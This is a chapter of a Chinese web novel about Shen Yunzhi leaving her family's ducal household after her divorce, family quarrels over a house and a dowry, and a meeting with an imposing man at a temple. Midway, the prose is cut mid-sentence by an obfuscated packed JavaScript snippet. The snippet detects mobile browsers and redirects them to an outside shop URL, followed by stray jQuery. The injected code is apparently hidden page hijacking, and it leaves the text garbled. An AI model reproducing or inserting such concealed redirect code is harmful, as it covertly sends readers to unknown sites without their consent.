44. 遇见
作品:《别居后被天子觊觎了》 沈云稚感激外祖母的这份儿用心,不禁眼圈有些红了。
鲁老夫人拍了拍她的手:“好孩子,我能替你做的也就这些了,往后日子长,你要自己不被那些流言蜚语影响,才能好好走下去。”
说完这个,鲁老夫人又道:“左右这两日你在府里待得不自在,我带你去郊外的法源寺上香散散心,等回来后便搬去小汤山那边。”
沈云稚听老夫人提起法源寺,不自觉就想起了之前她跟着薛氏上香,跳水被人救起来的事情。
若是放在过去,她肯定对这座寺庙避之不及。
可如今和崔宣和离了,她心中的抵触散尽,便应了下来:“好。”
鲁老夫人又和她说了会儿话,就带着孟茹离开了。
沈云稚去了窦老夫人那里,将明日要跟着外祖母去上香的事情回禀了老夫人。
老夫人如今不待见这个孙女儿,因着她又舍了小汤山的一座宅子还有一间铺子,心里正不得劲儿,听她这么说便应了下来。
“你外祖母疼你,你跟着出去散散心也好。那小汤山的宅子给了你,府里会安排人过去收拾,提前将你的嫁妆箱笼搬过去,也省得你再回来折腾了。”
窦老夫人这是半点儿都不遮掩,想要赶沈云稚离开。
沈云稚和这个祖母本就没什么情分,听她这样说也不觉着委屈,只福了福身子应了声是,便从屋子里退了出来。
很快,窦老夫人将小汤山的宅子给了沈云稚,还有沈云稚明日就要跟鲁老夫人去寺庙里上香,之后直接搬去小汤山宅子的事情就传遍了整个显国公府。
沈鸾听到这消息,脸色很是难看,没好气道:“她不就和离了吗?闹得好似府里亏欠她多少似得,小汤山那边地价高,那三进的宅子要多少银钱才能买下来,母亲怎就白白便宜了沈云稚?更别说,还带着旁边一个糕点铺子了。沈云稚有多大的脸也好意思收?”
“我的澜月在侯府当妾受苦,母亲怎就不偏着些?只想着补偿沈云稚这个亲孙女儿,果然是嫁出去的女儿泼出去的水,我肚子里出来的孩子就是不比嫂嫂生出来的值钱!”
沈鸾气恼之下,伸手就将桌上的饭菜一股脑推在地上。
饭菜噼里啪啦洒了一地,弄脏了地毯。
屋子里伺候的丫鬟婆子屏气凝神,心中俱是紧张不安。
赵嬷嬷是沈鸾的陪房嬷嬷,这些年一直跟在沈鸾身边,见着自家夫人这般动怒,如何猜不出她的心思。
那小汤山的宅子自家夫人也惦记了有段时间了,曾和老夫人提起过一次,老夫人却是含糊过去,没给她准话。
后来,夫人也没好意思再提。
她知道老夫人偏爱沈鸾这个嫁出去的姑奶奶是一回事,可也深知夫人的性子,怕夫人若是住在小汤山为着重新打入贵妇圈,做出什么不妥当失了颜面的事情。
顾忌着这些,老夫人才没应下此事。
如今,老夫人却将那宅子给了沈云稚,夫人心里头哪里能不恼火。
她轻轻叹了口气,挥手叫屋子里伺候的丫鬟全都退了下去,才宽慰道:“老夫人肯定也不愿意给,可今个儿鲁老夫人亲自上门给沈云稚撑腰,府里亏欠沈云稚,老夫人也不好太过吝啬了,这才叫沈云稚得了这样大的便宜。”
“不过往好处想想,这样一来沈云稚就不会住在国公府了,往后夫人也能自在些,免得日常遇着彼此尴尬,府里那些嘴碎的丫鬟婆子见着沈云稚便要念叨夫人当初将两个孩子掉包的事情。”
沈鸾也知道这个道理,可哪怕心里头知道也颇为不平。
沈云稚一个自小在她手底下看她眼色过日子的人,如今竟能抢了她瞧上的宅子?
早知今日,当初就不该将沈云稚养大,若是她早早将沈云稚除去,哪里会身世揭穿,害得亲生女儿宋澜月给那崔宣当妾?
沈鸾冷笑:“她也就借着鲁老夫人给她撑腰拿了小汤山的宅子了,母亲的性子我最了解,她拿了那宅子,也就和国公府断得干干净净了,往后遇上什么事情府里也不会帮她。”
“听说大长公主最近这些年时常去小汤山那边礼佛清修,鲁老夫人大概是盼着沈云稚能遇上大长公主讨了大长公主的喜欢。可她这般姿容,谁看了不刺眼,说不得这宅子对她来说是祸事而不是福气。”
沈鸾这样说着,脸色缓和了些,对着赵嬷嬷问道:“澜月可有写信回来?”
赵嬷嬷摇了摇头:“姑娘肚子如今月份大了,身份又尴尬,勇庆侯府规矩也严,不好写信回来。”
沈鸾眼底却是露出几分了然,带着几分苦涩道:“她哪里是不方便,只怕是觉着我这个生母没用。她心里头,怕是恨我恨得紧呢。”
“可她也不想想,要不是我,她连这十几年锦衣玉食的日子也不会有,不过是中途出了岔子,又哪里能怪我?”
沈鸾对于宋澜月这个女儿自然是心疼的,可她也不觉着自己亏欠了女儿。
宋澜月既不写信回来,她也不凑上去。
等她生下孩子看看是男是女再说吧,若是男孩儿,哪怕是个妾室侯府也在意,她这个当外祖母的自然要过去看看。
若是个女儿,澜月的日子不好过,肯定也需要她这个生母护着,到时候,哪怕再嫌弃她这个生母也只能指望她了。
毕竟,她在母亲窦老夫人面前还有些脸面。
沈鸾这边听说了消息,孟氏自然也听说了。
孟氏心里头堵得慌,可拿沈云稚这个女儿没法子,如今事已至此,也只能这样了。
正在这时,陈嬷嬷拿着一封信过来,低声道:“夫人,澜月姑娘写信回府了,夫人要不要看看?”
孟氏眼底闪过一抹恼怒,想叫陈嬷嬷将信丢出去,可到底还是没说,伸手拿过信拆开看了起来。
看完之后,她脸色难看,冷笑道:“不愧是从沈鸾肚子里出来的,母女俩真是一个性子,过去我怎么那么傻怕委屈了这个女儿,为着她还叫云稚受了那么多委屈?”
陈嬷嬷见着自家夫人这样,拿过孟氏手中的信看了一遍,看完之后也跟着骂道:“她还有脸讨要当初答应给她的嫁妆,真真是将夫人您当冤大头了!”
孟氏也气得脑袋发晕,对着陈嬷嬷吩咐道:“你将这信送去姑奶奶那里,看看姑奶奶愿不愿意给自己女儿准备嫁妆?”
陈嬷嬷知道夫人心情不好,是故意要拿这桩事情来恶心沈鸾。
她觉着有些不妥当,可见着夫人难看的脸色,到底还是应了声是拿着信出去了。
翌日一早,沈云稚正要动身的时候听说姑母沈鸾病了,说是昨晚不知为何哭了一场,半夜里就发起烧来,听说还惊动了老夫人,只是老夫人问起为何哭,沈鸾只摇头不说话。
采薇凑到她耳边低声道:“听说宋澜月给夫人写信讨要嫁妆,夫人没给,却将信送到了姑奶奶那里,姑奶奶看过之后就哭了一场这才病了。”
“姑奶奶不好意思将这事情说出来,可今早底下的丫鬟婆子都在说此事,想来多半是真的。”
沈云稚想起当初的嫁妆,心中一阵唏嘘。
当初孟氏觉着她配不上那些嫁妆,将里头贵重的物件儿挑拣出来打算往后给宋澜月当嫁妆。
如今不过一年多,宋澜月成了崔宣的妾室,放下脸面讨要嫁妆,孟氏却不仅不肯给,还将宋澜月的脸面踩在地上,将这事
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373708|197416||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
情闹到了沈鸾这个姑奶奶面前。
果然高门大族发生什么事情都不奇怪。
沈云稚听听也就罢了,如今她根本不关心这些事情,只按着原先的计划带着采薇出了院子。
行至半路,遇到二夫人程氏。
程氏听说了沈鸾病了的事情,见着沈云稚这会儿要离开,觉着有些不妥。可想想沈鸾虽是沈云稚的姑母,可却是害了沈云稚一辈子,沈云稚哪里会心疼她?
两人说了几句客套话,沈云稚就带着采薇离开了。
程氏看着沈云稚离开的背影,喃喃道:“云稚如今真是不一样了,若是放在过去,为着脸面也要去探望探望沈鸾这个姑母的。”
“这孩子,是真心不想讨好老夫人,不想留在国公府了。”
她也不想叫沈云稚一个和离之人留在府里,可沈云稚这样迫不及待离开半点儿都不留恋,她却觉着心里头有些堵得慌。
好似沈云稚这一离开,府里失去了什么似的。
她摇了摇头,觉着自己是多想了,一个和离之人,又得罪了勇庆侯府和宫中的贵妃娘娘,哪里还能有什么好前程。
沈云稚出了国公府,孟府的马车已经等在那里了。
见着她过来,孟茹打起帘子,伸手将她拉了上来。
“表妹快上来吧,咱们早些出发早些到寺里。”
沈云稚和外祖母还有表姐打了招呼,挨着鲁老夫人坐下,马车徐徐驶出显国公府所在的巷子,一路往寺庙的方向去了。
到中午时,马车才在山底下停了下来。
沈云稚扶着老夫人拾阶而上,几人用了半个多时辰才到了寺庙门口。
上回她和薛氏来这寺里给死去的崔宣点长明灯,这回过来,却不是侯府寡居守节的儿媳,而是和离之人,心境大为不同,叫她有兴致欣赏这寺庙里的景致。
小沙弥领着她们进去,安排在后院厢房住下。
沈云稚陪着鲁老夫人和表姐用了素斋,便回了自己屋里。
她叫采薇拿出抄写好的佛经,打算亲自拿着去佛堂那边供奉。
采薇知她为着感激当日那人的救命之恩抄写了这些佛经,便对着沈云稚道:“姑娘去吧,奴婢将行礼收拾出来,好好布置布置这屋子。”
沈云稚点了点头,拿着佛经一路往佛堂那边去了。
进了佛殿后,她将手中的佛经摆放在香案上,然后去旁边的铜盆里拿泉水净了手,这才点了香跪在了蒲团上。
香烟袅袅,沈云稚想起这一年多的境遇,轻声道:“求佛祖保佑信女云稚离开侯府后平静顺遂,保佑外祖母身子康健,表姐寻得一门好婚事。”
她想了想,声音又压低了几分,道:“信女亲手抄写佛经,望佛祖保佑当日在寺庙出手相救的恩人平安喜乐,事事顺遂。”
她想了想,又加了句:“盼恩人莫要怪我当日惊慌之下的唐突之举,信女并非故意伤人,望恩人莫怪,信女愿替恩人抄写经书替恩人祈福。”
她说完这话后,这才从蒲团上站起身来。
才刚起身,却是见着殿内挂着的黄色帐幔被风吹起,竟露出一个侧殿,侧殿大门敞开,露出一人的身影。
那人穿着墨色绣着金丝云纹的锦袍,头发拿玉冠束起,端坐在蒲团上,手里拿着一本佛经,指节修长,面前的案几上放着茶盏和香薰,香烟袅袅。
眼前的男子大约三十多岁,明明是清隽的面貌,可不知为何沈云稚却从这人身上感觉到一种充满压迫的威严,叫她本能的想要躲开。
四目对视,沈云稚下意识想往后退,可又觉着如此有些失礼,只能压下心中的忐忑,对着男人福了福身子。

